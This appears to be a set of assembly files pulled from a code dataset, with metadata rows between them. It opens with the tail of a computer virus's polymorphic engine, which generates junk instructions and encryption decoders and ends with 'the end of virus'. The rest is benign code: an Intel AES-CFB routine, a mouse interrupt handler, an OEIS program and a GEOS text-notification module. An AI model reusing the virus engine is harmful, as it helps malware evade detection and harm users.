call brandom32
mov cl, al
cmp bl, cl
jz g_mov_r32_r32
mov ax, 0c08bh
or ah, cl
shl bl, 3
or ah, bl
stosw
ret
g_mov_r32_imm32:
mov al, bl
add al, 0b8h
stosb
mov eax, 11111111111111b
call brandom32
stosd
ret
g_mov_r8_r8:
call getAreg
cmp al, 4
ja g_mov_r8_r8_exit
mov bl, al
call getAreg
cmp al, 4
ja g_mov_r8_r8_exit
mov cl, al
cmp bl, cl
jz g_mov_r8_r8
mov ax, 0c08ah
or ah, cl
shl bl, 3
or ah, bl
stosw
g_mov_r8_r8_exit:
ret
g_mov_r8_imm8:
call getAreg
cmp al, 4
ja g_mov_r8_imm8_exit
add al, 0b0h
stosb
call random32
stosb
g_mov_r8_imm8_exit:
ret
g_a_r32_r32:
call getAreg
or al, al
jz g_a_r32_r32
mov bl, al
call random32
and al, 00111000b
or al, 3
mov ah, 0c0h
or ah, cl
shl bl, 3
or ah, bl
stosw
ret
g_a_r32_imm32:
call getAreg
or al, al
jz g_a_r32_imm32
mov bl, al
call random32
and al, 00111000b
or al, 0c0h
or al, bl
mov ah, 81h
xchg al, ah
stosw
call random32
stosd
ret
g_zero_r32:
mov eax, zero_r32sz
call brandom32
lea edx, [ebp+zero_r32]
mov edx, [edx+eax*4]
add edx, ebp
jmp edx
zero_r32:
dd offset (gz_xor_r32_r32)
dd offset (gz_mov_r32_0)
dd offset (gz_sub_r32_r32)
zero_r32sz equ (($-offset zero_r32)/4)
gz_xor_r32_r32:
mov ax, 0c033h
or ah, bl
shl bl, 3
or ah, bl
stosw
ret
gz_mov_r32_0:
mov al, bl
add al, 0b8h
stosb
xor eax, eax
stosd
ret
gz_sub_r32_r32:
mov ax, 0c02bh
or ah, bl
shl bl, 3
or ah, bl
stosw
ret
g_inc_r32:
call getAreg
add al, 40h
stosb
ret
g_dec_r32:
call getAreg
add al, 48h
stosb
ret
g_push_r32_pop_r32:
mov eax, 8
call brandom32
add al, 50h
stosb
call gen_garb
call getAreg
add al, 58h
stosb
ret
g_push_imm32_pop_r32:
mov al, 68h
stosb
call random32
stosd
call gen_garb
call getAreg
add al, 58h
stosb
ret
g_xchg_r32_r32:
call getAreg
mov cl, al
cmp bl, cl
jz g_xchg_r32_r32
mov ax, 0c087h
or ah, cl
shl bl, 3
or ah, bl
stosw
ret
g_newcall:
cmp [ebp+incall],1
jz exit_newcall
mov [ebp+incall],1
cmp [ebp+ncalls],3
jae exit_newcall
; call 00000000h
mov al, 0e8h
stosb
xor eax, eax
stosd
push edi
call garbage
call garbage
; jmp 00000000h
mov al, 0e9h
stosb
xor eax, eax
stosd
push edi
call garbage
call garbage
; ret
mov al, 0c3h
stosb
mov ebx, edi
pop ecx
sub ebx, ecx
mov [ecx-4],ebx
pop edx
mov [ebp+scall1],ecx
sub ecx, edx
mov [edx-4],ecx
mov [ebp+incall],0
inc byte ptr [ebp+ncalls]
exit_newcall:
ret
g_oldcall:
cmp [ebp+incall],1
jz exit_oldcall
cmp [ebp+ncalls],4
jz exit_oldcall
mov al, 0e8h
stosb
mov eax, [ebp+scall1]
or eax, eax
jz exit_oldcall
sub eax, edi
stosd
inc byte ptr [ebp+ncalls]
exit_oldcall:
ret
;-----------------------------------------
;------------ PoLY dAtA ----------------
StartOfCode dd 0
StartAddr dd 0
ptrplace dd 0
CodeAddr dd 0
CryptLen dd 0
CryptKey dd 12345678h
IncKey dd 2244h
loopaddr dd 0
decrdir db 0 ; direction, 0=fw, 1=bw
_t1 db 0
_t2 db 0
_t3 db 0
_t4 db 0
inswap db 0
ncalls db 0
incall db 0
scall1 dd 0
scall2 dd 0
usedRegs:
preg db 40 ; pointer
lreg db 41 ; length
kreg db 42 ; key
treg db 43 ; temp
rEAX equ 00000000b
rECX equ 00000001b
rEDX equ 00000010b
rEBX equ 00000011b
rESP equ 00000100b
rEBP equ 00000101b
rESI equ 00000110b
rEDI equ 00000111b
;-----------------------------------------;
;-----------------------------------------;
; - random functions from Lord Julus, greets :)
random32:
push ecx
xor ecx, ecx
mov eax, [ebp+seed]
mov cx, 33
rloop: add eax, eax
jnc $+4
xor al, 197
loop rloop
mov [ebp+seed], eax
pop ecx
ret
seed dd 0bff81234h
brandom32:
push edx ecx
xor edx, edx
push eax
call random32
pop ecx
div ecx
xchg eax, edx
pop ecx edx
ret
nop
nop
nop
nop
vend: ; the end of virus
end start
| 17.489115
| 68
| 0.593071
|
9a0e4233bdeb84cd20d171f441eaca1b547e366f
| 5,463
|
asm
|
Assembly
|
avx/aes_cfb_128_avx.asm
|
kingwelx/intel-ipsec-mb
|
f67b588d92a477952de8704bf6104812e1517f27
|
[
"BSD-3-Clause"
] | null | null | null |
avx/aes_cfb_128_avx.asm
|
kingwelx/intel-ipsec-mb
|
f67b588d92a477952de8704bf6104812e1517f27
|
[
"BSD-3-Clause"
] | null | null | null |
avx/aes_cfb_128_avx.asm
|
kingwelx/intel-ipsec-mb
|
f67b588d92a477952de8704bf6104812e1517f27
|
[
"BSD-3-Clause"
] | null | null | null |
;;
;; Copyright (c) 2018, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "os.asm"
%include "memcpy.asm"
;;; Routine to do 128 bit CFB AES encrypt/decrypt operations on one block only.
;;; It processes only one buffer at a time.
;;; It is designed to manage partial blocks of DOCSIS 3.1 SEC BPI
;; In System V AMD64 ABI
;; calle saves: RBX, RBP, R12-R15
;; Windows x64 ABI
;; calle saves: RBX, RBP, RDI, RSI, RSP, R12-R15
;;
;; Registers: RAX RBX RCX RDX RBP RSI RDI R8 R9 R10 R11 R12 R13 R14 R15
;; -----------------------------------------------------------
;; Windows clobbers: RAX R9 R10 R11
;; Windows preserves: RBX RCX RDX RBP RSI RDI R8 R12 R13 R14 R15
;; -----------------------------------------------------------
;; Linux clobbers: RAX R9 R10
;; Linux preserves: RBX RCX RDX RBP RSI RDI R8 R11 R12 R13 R14 R15
;; -----------------------------------------------------------
;;
;; Linux/Windows clobbers: xmm0
;;
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define arg3 rdx
%define arg4 rcx
%define arg5 r8
%else
%define arg1 rcx
%define arg2 rdx
%define arg3 r8
%define arg4 r9
%define arg5 [rsp + 5*8]
%endif
%define OUT arg1
%define IN arg2
%define IV arg3
%define KEYS arg4
%ifdef LINUX
%define LEN arg5
%else
%define LEN2 arg5
%define LEN r11
%endif
%define TMP0 rax
%define TMP1 r10
%define PTR0 rsp + _buffer
%define XDATA xmm0
section .text
struc STACK
_buffer: resq 2
_rsp_save: resq 1
endstruc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; void aes_cfb_128_one(void *out, void *in, void *iv, void *keys)
;; arg 1: OUT : addr to put clear/cipher text out
;; arg 2: IN : addr to take cipher/clear text from
;; arg 3: IV : initialization vector
;; arg 4: KEYS: pointer to expanded keys structure (16 byte aligned)
;; arg 5: LEN: length of the text to encrypt/decrypt (valid range is 0 to 16)
;;
;; AES CFB128 one block encrypt/decrypt implementation.
;; The function doesn't update IV. The result of operation can be found in OUT.
;;
;; It is primarly designed to process partial block of
;; DOCSIS 3.1 AES Packet PDU Encryption (I.10)
;;
;; It process up to one block only (up to 16 bytes).
;;
;; It makes sure not to read more than LEN bytes from IN and
;; not to store more than LEN bytes to OUT.
MKGLOBAL(aes_cfb_128_one_avx,function,)
MKGLOBAL(aes_cfb_128_one_avx2,function,)
MKGLOBAL(aes_cfb_128_one_avx512,function,)
align 32
aes_cfb_128_one_avx:
aes_cfb_128_one_avx2:
aes_cfb_128_one_avx512:
%ifndef LINUX
mov LEN, LEN2
%endif
mov rax, rsp
sub rsp, STACK_size
and rsp, -16
mov [rsp + _rsp_save], rax
test LEN, 16
jz copy_in_lt16
vmovdqu XDATA, [IN]
vmovdqa [PTR0], XDATA
jmp copy_in_end
copy_in_lt16:
memcpy_avx_16 PTR0, IN, LEN, TMP0, TMP1
copy_in_end:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
vmovdqu XDATA, [IV] ; IV (or next to last block)
vpxor XDATA, XDATA, [KEYS + 16*0] ; 0. ARK
vaesenc XDATA, XDATA, [KEYS + 16*1] ; 1. ENC
vaesenc XDATA, XDATA, [KEYS + 16*2] ; 2. ENC
vaesenc XDATA, XDATA, [KEYS + 16*3] ; 3. ENC
vaesenc XDATA, XDATA, [KEYS + 16*4] ; 4. ENC
vaesenc XDATA, XDATA, [KEYS + 16*5] ; 5. ENC
vaesenc XDATA, XDATA, [KEYS + 16*6] ; 6. ENC
vaesenc XDATA, XDATA, [KEYS + 16*7] ; 7. ENC
vaesenc XDATA, XDATA, [KEYS + 16*8] ; 8. ENC
vaesenc XDATA, XDATA, [KEYS + 16*9] ; 9. ENC
vaesenclast XDATA, XDATA, [KEYS + 16*10] ; 10. ENC
vpxor XDATA, XDATA, [PTR0] ; plaintext/ciphertext XOR block cipher encryption
test LEN, 16
jz copy_out_lt16
vmovdqu [OUT], XDATA
jmp copy_out_end
copy_out_lt16:
vmovdqa [PTR0], XDATA
memcpy_avx_16 OUT, PTR0, LEN, TMP0, TMP1
copy_out_end:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov rsp, [rsp + _rsp_save] ; original SP
ret
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
| 32.909639
| 81
| 0.655135
|
accfc4228def86ec8fd978b0cbff36ad19fa938b
| 833
|
asm
|
Assembly
|
src/mouse_isr_2.asm
|
carlosmccosta/Arkanoid
|
c6f0521e1e936d6b1e4173dd6cbcbf6bdd5d0f63
|
[
"MIT"
] | null | null | null |
src/mouse_isr_2.asm
|
carlosmccosta/Arkanoid
|
c6f0521e1e936d6b1e4173dd6cbcbf6bdd5d0f63
|
[
"MIT"
] | null | null | null |
src/mouse_isr_2.asm
|
carlosmccosta/Arkanoid
|
c6f0521e1e936d6b1e4173dd6cbcbf6bdd5d0f63
|
[
"MIT"
] | null | null | null |
CPU 686
BITS 32
%define DATA_REG 0x60
%define EOI 0x20
%define PIC1_CMD 0x20
%define PIC2_CMD 0xA0
global _mouse_isr
global _mouse_byte1
global _mouse_byte2
global _mouse_byte3
global _pack_completo
section .data
_mouse_byte1 dd 0
_mouse_byte2 dd 0
_mouse_byte3 dd 0
_pack_completo dd 0
next_byte dd 1
section .text
_mouse_isr:
push eax
push ecx
xor eax, eax
in al, DATA_REG
mov ecx, dword[next_byte]
cmp ecx, 3
je byte3
cmp ecx, 2
je byte2
byte1:
mov dword[_mouse_byte1], eax
mov dword[_pack_completo], 0
mov ecx, 2
jmp fim
byte2:
mov dword[_mouse_byte2], eax
mov dword[_pack_completo], 0
mov ecx, 3
jmp fim
byte3:
mov dword[_mouse_byte3], eax
mov dword[_pack_completo], 1
mov ecx, 1
fim:
mov dword[next_byte], ecx
mov al, EOI
out PIC1_CMD, al
out PIC2_CMD, al
pop ecx
pop eax
iretd
END
| 12.815385
| 29
| 0.745498
|
5d1cdd3c6231158cbee131e007932f3d9450819e
| 724
|
asm
|
Assembly
|
oeis/165/A165862.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/165/A165862.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/165/A165862.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A165862: Totally multiplicative sequence with a(p) = 41.
; Submitted by Jon Maiga
; 1,41,41,1681,41,1681,41,68921,1681,1681,41,68921,41,1681,1681,2825761,41,68921,41,68921,1681,1681,41,2825761,1681,1681,68921,68921,41,68921,41,115856201,1681,1681,1681,2825761,41,1681,1681,2825761,41,68921,41,68921,68921,1681,41,115856201,1681,68921,1681,68921,41,2825761,1681,2825761,1681,1681,41,2825761,41,1681,68921,4750104241,1681,68921,41,68921,1681,68921,41,115856201,41,1681,68921,68921,1681,68921,41,115856201,2825761,1681,41,2825761,1681,1681,1681,2825761,41,2825761,1681,68921,1681,1681
seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)).
mov $2,41
pow $2,$0
mov $0,$2
| 80.444444
| 499
| 0.780387
|
d3a68948e165a37c4b4cc2dd565772a719b61f3d
| 45,357
|
asm
|
Assembly
|
Library/Text/TextAttr/taNotify.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Text/TextAttr/taNotify.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Text/TextAttr/taNotify.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Text/TextAttr
FILE: taNotify.asm
AUTHOR: Tony
ROUTINES:
Name Description
---- -----------
SendCharAttrParaAttrChange
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 5/22/89 Initial revision
DESCRIPTION:
Low level utility routines for implementing the methods defined on
VisTextClass.
$Id: taNotify.asm,v 1.1 97/04/07 11:18:57 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
; We put a stub routine in TextFixed to prevent unnecessary loading of
; the TextAttributes resource
TextFixed segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: VisTextGenerateCursorPositionNotification --
MSG_VIS_TEXT_GENERATE_CURSOR_POSITION_NOTIFICATION
for VisTextClass
DESCRIPTION: Generate cursor position notification
PASS:
*ds:si - instance data
ds:di - instance data
es - segment of VisTextClass
ax - The message
RETURN:
nothing
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 9/24/93 Initial version
------------------------------------------------------------------------------@
VisTextGenerateCursorPositionNotification proc far
; MSG_VIS_TEXT_GENERATE_CURSOR_POSITION_NOTIFICATION
class VisTextClass
mov ax, TEMP_VIS_TEXT_NOTIFY_CURSOR_POSITION_TIME
call ObjVarDeleteData
mov ax, TEMP_VIS_TEXT_NOTIFY_CURSOR_POSITION_INFO
call ObjVarDeleteData
mov ax, mask VTNF_CURSOR_POSITION
FALL_THRU TA_SendNotification
VisTextGenerateCursorPositionNotification endp
COMMENT @----------------------------------------------------------------------
FUNCTION: TA_SendNotification
DESCRIPTION: Send a MSG_NOTIFY_WITH_DATA if needed. Sends requested
updates to the output, & to the TARGET GCN Lists if
currently the target. Optionally, if ax passed 0, will
send zero notification status to all TARGET GCN Lists.
This latter capability is utilized upon receiving
LOST_TARGET, to clear any status events reflecting the state
of this object.
CALLED BY: INTERNAL
PASS:
*ds:si - object
ax - VisTextNotificationFlags for things to send, or 0 to clear out
status events on all TARGET GCN Lists only.
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/89 Initial version
------------------------------------------------------------------------------@
TA_SendNotification proc far uses ax, bx, cx, dx, di, bp
class VisTextClass
.enter
EC < call T_AssertIsVisText >
mov di, ds:[si]
add di, ds:[di].Vis_offset
;
; See if we have any types -- if not, we shouldn't send
; out any type or name notifications
;
test ds:[di].VTI_storageFlags, mask VTSF_TYPES
jnz haveTypes
andnf ax, not (mask VTNF_NAME or mask VTNF_TYPE)
haveTypes:
; if not editable then don't update most things
; unless it is also targetable
test ds:[di].VTI_state, mask VTS_EDITABLE
jnz editable
test ds:[di].VTI_state, mask VTS_TARGETABLE
jnz editable
andnf ax, mask VTNF_SELECT_STATE
editable:
sub sp, size VisTextGenerateNotifyParams
mov bp, sp
mov ss:[bp].VTGNP_notificationTypes, ax
; Test to see if normal update happening, or if we have just
; lost the target, & therefore our eligibility to be updating
; various APP_TARGET GCN lists.
; To clear out references to our status as the current target, set
; flag to create NULL status events, and send only to GCN lists,
; not our output, which should get only real status info.
mov dx, mask VTNSF_NULL_STATUS or \
mask VTNSF_UPDATE_APP_TARGET_GCN_LISTS
tst ax
jz update
; make sure that we need to send the method -- set flags for
; destination
clr dx
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VTI_intFlags, mask VTIF_SUSPENDED
jz notSuspended
; object is suspended -- add flags
push ax
mov ax, ATTR_VIS_TEXT_SUSPEND_DATA
call ObjVarFindData
pop ax
or ds:[bx].VTSD_notifications, ax
jmp done
notSuspended:
;
; If object is marked as "send when not targetable", then
; make sure all GCN lists get updated, and ignore the
; IS_TARGET flag
;
push bx, ax
mov ax, ATTR_VIS_TEXT_NOTIFY_EVEN_IF_NOT_TARGETED
call ObjVarFindData
pop bx, ax
jc sendAnyway
test ds:[di].VTI_intSelFlags, mask VTISF_IS_TARGET
jz noTarget
sendAnyway:
ornf dx, mask VTNSF_UPDATE_APP_TARGET_GCN_LISTS
noTarget:
update:
ornf dx, mask VTNSF_SEND_AFTER_GENERATION
mov ss:[bp].VTGNP_sendFlags, dx
mov ax, MSG_VIS_TEXT_GENERATE_NOTIFY
call ObjCallInstanceNoLock
done:
add sp, size VisTextGenerateNotifyParams
.leave
ret
TA_SendNotification endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
HandleCursorPositionNotification
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: turn off and/or delay cursor position notification
CALLED BY: VisTextGenerateNotify
PASS: *ds:si - VisTextClass object
ss:bp - VisTextGenerateNotifyParams
RETURN: ss:[bp].VTGNP_notificationTypes - new VisTextNotificationFlags
(VTNF_CURSOR_POSITION may be cleared)
carry set to send notifications
carry clear if no notifications should be sent
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 9/27/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
HandleCursorPositionNotification proc near
uses bx, cx, dx, di
.enter
test ss:[bp].VTGNP_notificationTypes, mask VTNF_CURSOR_POSITION
LONG jz sendNotif ; no cur pos notification,
; send other notifs
mov ax, ATTR_VIS_TEXT_NOTIFY_CURSOR_POSITION
call ObjVarFindData ; ds:bx = threshold
jnc noCurPos
mov cx, ds:[bx] ; cx = threshold
jcxz updateCurPosTimeAndSend ; threshold = 0, always send
call TimerGetCount ; bx:ax = count
movdw dxdi, bxax ; dx:di = current time
mov ax, TEMP_VIS_TEXT_NOTIFY_CURSOR_POSITION_TIME
call ObjVarFindData ; {dword}ds:bx = previous time
jnc updateCurPosTimeAndSend ; send now
pushdw dxdi ; save current time
subdw dxdi, ds:[bx] ; dxdi = time difference
;wrap-around will generate notification
clr bx ; bxcx = threshold
cmpdw dxdi, bxcx
popdw dxdi ; restore current time
jb sendDelayed ; less than threshold, delay
updateCurPosTimeAndSend:
mov ax, TEMP_VIS_TEXT_NOTIFY_CURSOR_POSITION_TIME
mov cx, size dword
call ObjVarAddData
movdw ds:[bx], dxdi ; store time
jmp short sendNotif
sendDelayed:
;
; send off a MSG_VIS_TEXT_GENERATE_CURSOR_POSITION_NOTIFICATION after
; the threshold time
; cx = threshold
;
mov ax, TEMP_VIS_TEXT_NOTIFY_CURSOR_POSITION_INFO
call ObjVarFindData
jc noCurPos ; timer already going
mov bx, ds:[LMBH_handle] ; else, start timer
mov al, TIMER_EVENT_ONE_SHOT
mov dx, MSG_VIS_TEXT_GENERATE_CURSOR_POSITION_NOTIFICATION
call TimerStart
push bx ; save timer handle
push ax ; save timer ID
mov ax, TEMP_VIS_TEXT_NOTIFY_CURSOR_POSITION_INFO
mov cx, size TVTNCPIData
call ObjVarAddData
pop ds:[bx].TVTNCPID_id ; store timer ID
pop ds:[bx].TVTNCPID_handle ; store timer handle
noCurPos:
;
; if we are notifying of cursor position only and we aren't going
; to for some reason, don't bother doing any notification work
;
cmp ss:[bp].VTGNP_notificationTypes, mask VTNF_CURSOR_POSITION
je done ; (carry clear), don't send
; notifications
; else, just clear cur pos
andnf ss:[bp].VTGNP_notificationTypes, not mask VTNF_CURSOR_POSITION
sendNotif:
stc ; send notifications
done:
.leave
ret
HandleCursorPositionNotification endp
COMMENT @----------------------------------------------------------------------
MESSAGE: VisTextGenerateNotify -- MSG_VIS_TEXT_GENERATE_NOTIFY
for VisTextClass
DESCRIPTION: Generate notifications
PASS:
*ds:si - instance data
ds:di - instance data
es - segment of VisTextClass
ax - The message
ss:bp - VisTextGenerateNotifyParams
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 5/29/92 Initial version
------------------------------------------------------------------------------@
VisTextGenerateNotify proc far ; MSG_VIS_TEXT_GENERATE_NOTIFY
class VisTextClass
test ss:[bp].VTGNP_sendFlags,
mask VTNSF_UPDATE_APP_TARGET_GCN_LISTS
jz done
;
; See if we have any types -- if not, we shouldn't send
; out any type or name notifications
;
test ds:[di].VTI_storageFlags, mask VTSF_TYPES
jnz haveTypes
andnf ss:[bp].VTGNP_notificationTypes, \
not (mask VTNF_NAME or mask VTNF_TYPE)
haveTypes:
mov ax, TEMP_VIS_TEXT_FREEING_OBJECT
call ObjVarFindData
jc done
;
; don't bother sending cursor position if not desired, or if
; time threshold hasn't been reached
;
call HandleCursorPositionNotification
jnc done ; don't send any notifications
push bp
call SendNotificationLow
pop bp
done:
ret
VisTextGenerateNotify endp
TextFixed ends
;-----
TextAttributes segment resource
NotifStruct struct
NS_routine nptr.near
NS_size word
NS_gcnType GeoWorksNotificationType
NS_appType GeoWorksGenAppGCNListType
NotifStruct ends
notificationTable NotifStruct \
<GenSelectStateNotify, size NotifySelectStateChange,
GWNT_SELECT_STATE_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_SELECT_STATE_CHANGE>,
<GenCharAttrNotify, size VisTextNotifyCharAttrChange,
GWNT_TEXT_CHAR_ATTR_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_TEXT_CHAR_ATTR_CHANGE>,
<GenParaAttrNotify, size VisTextNotifyParaAttrChange,
GWNT_TEXT_PARA_ATTR_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_TEXT_PARA_ATTR_CHANGE>,
<GenTypeNotify, size VisTextNotifyTypeChange,
GWNT_TEXT_TYPE_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_TEXT_TYPE_CHANGE>,
<GenSelectionNotify, VisTextNotifySelectionChange,
GWNT_TEXT_SELECTION_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_TEXT_SELECTION_CHANGE>,
<GenCountNotify, size VisTextNotifyCountChange,
GWNT_TEXT_COUNT_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_TEXT_COUNT_CHANGE>,
; The StyleSheet notification *must* come before the style notification
<GenStyleSheetNotify, size NotifyStyleSheetChange,
GWNT_STYLE_SHEET_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_STYLE_SHEET_TEXT_CHANGE>,
<GenStyleNotify, size NotifyStyleChange,
GWNT_STYLE_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_STYLE_TEXT_CHANGE>,
<GenSearchReplaceEnableNotify, size NotifySearchReplaceEnableChange,
GWNT_SEARCH_REPLACE_ENABLE_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_SEARCH_REPLACE_CHANGE>,
<GenSpellEnableNotify, size NotifySpellEnableChange,
GWNT_SPELL_ENABLE_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_SEARCH_SPELL_CHANGE>,
<GenNameNotify, size VisTextNotifyNameChange,
GWNT_TEXT_NAME_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_TEXT_NAME_CHANGE>,
<GenCursorPositionNotify, size VisTextCursorPositionChange,
GWNT_CURSOR_POSITION_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_CURSOR_POSITION_CHANGE>,
<GenHyperlinkabilityNotify, VisTextNotifyHyperlinkabilityChange,
GWNT_TEXT_HYPERLINKABILITY_CHANGE,
GAGCNLT_APP_TARGET_NOTIFY_TEXT_HYPERLINKABILITY_CHANGE>
COMMENT @----------------------------------------------------------------------
FUNCTION: SendNotificationLow
DESCRIPTION: Implement MSG_VIS_TEXT_GENERATE_NOTIFY
CALLED BY: INTERNAL
PASS:
*ds:si - text object
ss:bp - VisTextGenerateNotifyParams
RETURN:
none
DESTROYED:
ax, bx, cx, dx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 5/29/92 Initial version
------------------------------------------------------------------------------@
SendNotificationLow proc far
mov ax, size VisTextGenerateNotifyParams
push ax
mov bx, bp
mov cx, sp
call SwitchStackWithData
mov di, sp
sub cx, ss:[di+2+(size VisTextGenerateNotifyParams)].SL_savedStackPointer
push bx ;save original BP
push cx ;save offset
mov ax, ss:[bp].VTGNP_notificationTypes
mov bx, ss:[bp].VTGNP_sendFlags
ornf ss:[bp].VTGNP_sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
mov cx, bp
notifFlags local VisTextNotificationFlags \
push ax
sendFlags local VisTextNotifySendFlags \
push bx
notifyParams local nptr \
push cx
counter local word
notifPtr local nptr
gcnParams local GCNListMessageParams
getParams local VisTextGetAttrParams
charAttrToken local word
paraAttrToken local word
styleToken local word
styleDiffs local byte
charAttrChecksum local dword
paraAttrChecksum local dword
point local PointDWord
trans local TransMatrix
styleCD local StyleChunkDesc
ForceRef gcnParams
ForceRef getParams
ForceRef charAttrToken
ForceRef paraAttrToken
ForceRef styleToken
ForceRef styleDiffs
ForceRef charAttrChecksum
ForceRef paraAttrChecksum
ForceRef point
ForceRef trans
ForceRef styleCD
class VisTextClass
.enter
; loop through the various notification types, generating a
; structure for each and sending it
clr counter
mov notifPtr, offset notificationTable
generateLoop:
test sendFlags, mask VTNSF_NULL_STATUS
jnz doThisOne
rol notifFlags
jnc next
doThisOne:
;
; If NS_appType = 0, then this is a dummy entry. - Joon (8/7/94)
;
mov di, notifPtr
tst cs:[di].NS_appType
jz next
mov di, notifyParams
add di, counter
mov bx, ss:[di].VTGNP_notificationBlocks
test sendFlags, mask VTNSF_STRUCTURE_INITIALIZED
jnz alreadyInitialized
clr bx
alreadyInitialized:
; if we're supposed to generate then do it
test sendFlags, mask VTNSF_SEND_ONLY
jnz afterGenerate
call CallGenNotify ;bx = data block (ref count = 1)
afterGenerate:
mov ss:[di].VTGNP_notificationBlocks, bx
; if we're supposed to send then do it
test sendFlags, mask VTNSF_SEND_AFTER_GENERATION or \
mask VTNSF_SEND_ONLY
jz next
